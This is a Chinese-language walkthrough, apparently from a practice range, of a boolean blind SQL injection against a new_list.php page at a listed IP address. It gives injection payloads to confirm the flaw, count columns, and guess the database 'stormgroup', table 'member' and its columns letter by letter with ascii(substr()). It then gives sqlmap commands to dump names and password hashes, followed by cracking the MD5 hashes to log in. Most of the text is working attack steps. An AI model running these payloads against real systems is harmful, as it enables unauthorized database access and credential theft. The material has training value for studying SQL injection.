length() 函数 返回字符串的长度
ascii() 返回字符的ascii码 [将字符变为数字wei]
布尔盲注
1.判断注入点
and -1=-1 页面返回有数据
and -1=-2 页面无结果返回 存在SQL注入。
2. 判断当前页面字段总数
and -1=-1 order by 4 页面返回有数据
and -1=-2 order by 5页面无结果返回
当前页面字段数为:4
3.判断显示位
and -1=-2 union select 1,2,3 页面无结果返回
and -1=-2 union select 1,2,3,4 页面正常返回
无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。
4.猜解当前数据库名称长度
and (length(database()))>9页面返回有数据
and (length(database()))>10页面无结果返回
当前数据库名称长度为:10。
5.用ASCII码猜解当前数据库名称
and ascii(substr(database(),1,1))>114 页面返回有数据
and ascii(substr(database(),1,1))>115 页面返回无数据 --ascii115对应s 数据库第一个字母是s
and ascii(substr(database(),2,1))=116 页面返回有数据 对应t
当前数据库 第一个字母是s,第二个字母是t...以此类推得到数据库库名是stormgroup
6.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=109 页面返回有数据
表名的 第一个字母是 m...然后以此类推得到 表名 member。
7.获得字段长度
and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 ) = 3
//表下有三个字段 表名要用16进制
8.获取第一个字段的长度
id=1 and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 ) = 4
同理 获取第二个字段和第三个字段的长度
9.猜第二个字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='member' limit 1,1),1,1)))=112 页面返回有数据
字段名的第一个字母是 p
and (ascii(substr((select column_name from information_schema.columns where table_name='member' limit 1,1),2,1)))=97
字段名的第二个字母是 a 继续推理 第二个字段是password(8位)
同理继续尝试第一个字段 ---第一个字段是name
and (ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)))=110 第一个字母是n
10.获取内容的长度
and (Select Length(concat(name,password)) from member limit 0,1)=37
37 =32(password长度)+5(name长度) 应该是密码存在加密 手工很麻烦
可以使用sqlmap或者burp
11.sqlmap跑布尔盲注
-u 指定注入点
--dbs 跑库名
--tables 跑表名
--columns 跑字段名
--dump 枚举数据
1. sqlmap -u http://124.70.71.251:41050/new_list.php?id=1" --dbs 获得数据库名stormgroup
2. sqlmap -u “http://124.70.71.251:41050/new_list.php?id=1" -D stormgroup --tables 显示两个表member和notice
3. sqlmap -u "http://124.70.71.251:41050/new_list.php?id=1" -D stormgroup -T member --columns —batch 得字段 name,password,status
4.sqlmap -u "http://124.70.71.251:41050/new_list.php?id=1" -D stormgroup -T member -C name,password --dump
md5解密即可登录